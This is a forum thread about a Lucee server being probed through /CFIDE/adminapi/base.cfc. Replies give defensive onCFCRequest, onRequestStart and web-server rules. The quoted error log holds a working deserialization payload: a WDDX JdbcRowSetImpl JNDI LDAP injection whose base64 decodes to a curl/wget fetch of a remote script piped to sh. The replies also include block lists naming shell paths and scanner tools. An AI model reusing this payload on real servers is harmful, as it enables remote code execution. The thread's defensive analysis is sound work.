Web site attack vulnerability? onCFCRequest

Like most web sites, mine is often hit with attacks probing for vulnerabilities. Normally these result in 404 errors.

Recently I have had some try and load /CFIDE/adminapi/base.cfc
There is no such folder and when I try that folder, I get a custom 404 error page and no Lucee error. However, I have also caught this Lucee error when the attacker at 213.109.147.242 loaded the page.

lucee.runtime.interpreter.InterpreterException: Syntax Error, Invalid Construct at line [1] / column [1] / position [1] in the JSON 1: <wddxPacket version='1.0'><header/><data><struct type='Ecom.sun.rowset.JdbcRowSetImplE'><var name='dataSourceName'><string>ldap://166.108.229.166:8089/CommonsBeanutils1/base64/KGN1cmwgLXNTZmsgaHR0cDovLzE2Ni4xMDguMjI5LjE2Njo4MDg4L3NlcnZpY2Uuc2ggfHwgd2dldCAtcSAtTy0gaHR0cDovLzE2Ni4xMDguMjI5LjE2Njo4MDg4L3NlcnZpY2Uuc2gpIHwgc2g=</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket> ^ at lucee.runtime.interpreter.CFMLExpressionInterpreter.createSyntaxException(CFMLExpressionInterpreter.java:285)

My question is, how can Lucee have an error on a non-existent page, and is this a Lucee vulnerability?

OS: Windows Server 2025
Java Version: 21.0.6
Tomcat Version: 9.0.104
Lucee Version: 6.2.0.321

Can you DM me the full stacktrace?

both the json and wddx processing paths have been recently security reviewed, so this shouldn’t be a problem, but the team will review this

1 Like

Do you expose any CFCs to the public? If not, you may want to consider using web server or WAF rules to explicitly block access or any bogus request for a non-existent CFC will return an error message and potentially expose sensitive information (paths, internal IPs, etc.)

A properly ocked down Internet facing server should be using a error template which reveals no details about any error, i.e. error-public.cfm

1 Like

I modified the onCFCRequest function in application.cfc as advised towards the end of this page https://blog.adamcameron.me/2013/04/its-easy-to-create-security-hole-in.html

that approach is only needed if you are overriding the default behaviour?

I did some investigation about this, Lucee could be returning better http status codes here, but there is no vulnerability here, just some error logging.

The only the chance of revealing information about your server, if you don’t have error handling / error template in place?

it’s no effectively no different than the exception calling the path to a missing .cfm file, it’s just that remote cfc’s support argumentCollection and Lucee only supports json, where as ACF also supports WDDX (which led to several of their CVEs over the years, Lucee’s WDDX support is much leaner than ACF and not vulnerable)

component {
	this.name = "ldev5530";
	function onCFCRequest(){
		// no op
	}

	function onError(){
		echo("oops");
	}
}

https://luceeserver.atlassian.net/browse/LDEV-5530

1 Like

Thank you for the investigation and advice. I do have custom error and 404 error pages and not the default pages.

1 Like

Depending on how you have your site setup, you could use Tomcat or apache to filter these requests, or you can use some bit of code like this for the OnRequestStart

<cfcomponent displayname="Application">
    <cfset this.name = hash(getCurrentTemplatePath())>

    <cffunction name="onRequestStart" returnType="boolean" access="public">
        <cfargument name="thePage" type="string" required="true">

        <cfset local.requestedURL = CGI.SCRIPT_NAME>

        <cfif findNoCase("(wp-admin|CFIDE|lucee|admin|administrator|shell|cgi-bin|docs|mlogin)", local.requestedURL)>
            <cfheader statuscode="403" statustext="Forbidden">
            <cfoutput>Access Denied.</cfoutput>
            <cfabort>
        </cfif>

        <cfif right(local.requestedURL, 4) EQ ".cfm" OR right(local.requestedURL, 4) EQ ".cfc">
            <cfset local.fileExists = fileExists(expandPath(local.requestedURL))>
            <cfif NOT local.fileExists>
                <cflog type="warning" text="Non-existent file requested: #local.requestedURL# from #CGI.REMOTE_ADDR# (User-Agent: #CGI.HTTP_USER_AGENT#)">
                <cfheader statuscode="404" statustext="Not Found">
                <cfoutput>The requested resource was not found.</cfoutput>
                <cfabort>
            </cfif>
        </cfif>

        <cfreturn true>
    </cffunction>
</cfcomponent>

In tomcat you could handle bad requests with something like this in your web.xml

<error-page>
    <error-code>404</error-code>
    <location>/error/404/index.cfm</location>
</error-page>

or if you are using mod_rewrite you could use an .htaccess file or add this directly to your config

<Directory /var/www/yourwebsite>
    RewriteEngine On

    # Block requests for common non-existent paths (adjust as needed)
    RewriteRule ^(wp-admin|CFIDE|admin|administrator|shell|cgi-bin|docs|mlogin)/ - [F,L]

    # Block requests for non-existent CFM files (be cautious with this)
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule \.cfm$ - [F,L]


    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule \.cfc$ - [F,L]


    RewriteCond %{HTTP_USER_AGENT} (sqlmap|wpscan|nikto) [NC]
    RewriteRule ^ - [F,L]

    # Redirect requests for common bot targets to a 404 or a honeypot
    RewriteRule ^(xmlrpc\.php|wp-login\.php) - [R=404,L]
    # Or redirect to a honeypot page:
    # RewriteRule ^(xmlrpc\.php|wp-login\.php) /success.cfm [L]
</Directory>

Terry,

I already had code in the onRequest function that included limiting access to “include” type templates, certain paths, and non-existent files, that would result in a custom 404 error. This is why I was surprised to see an error in a non-existent file. It seems that the cfc didn’t trigger the onRequest function, but the onCFCRequest function.

Yep, onRequestCFC fires off before onRequest

The onRequestCFC , interesting news.

I would suggest using Apache httpd, and mod_rewrite or nginx and outright deny external access to CFC files.

Apache

    RewriteEngine On
 RewriteCond %{REQUEST_URI} \.cfc$
    RewriteRule ^(.*)$ - [R=503,L]

nginx

location ~* \.cfc$ {
    deny all;
    return 503;
}
1 Like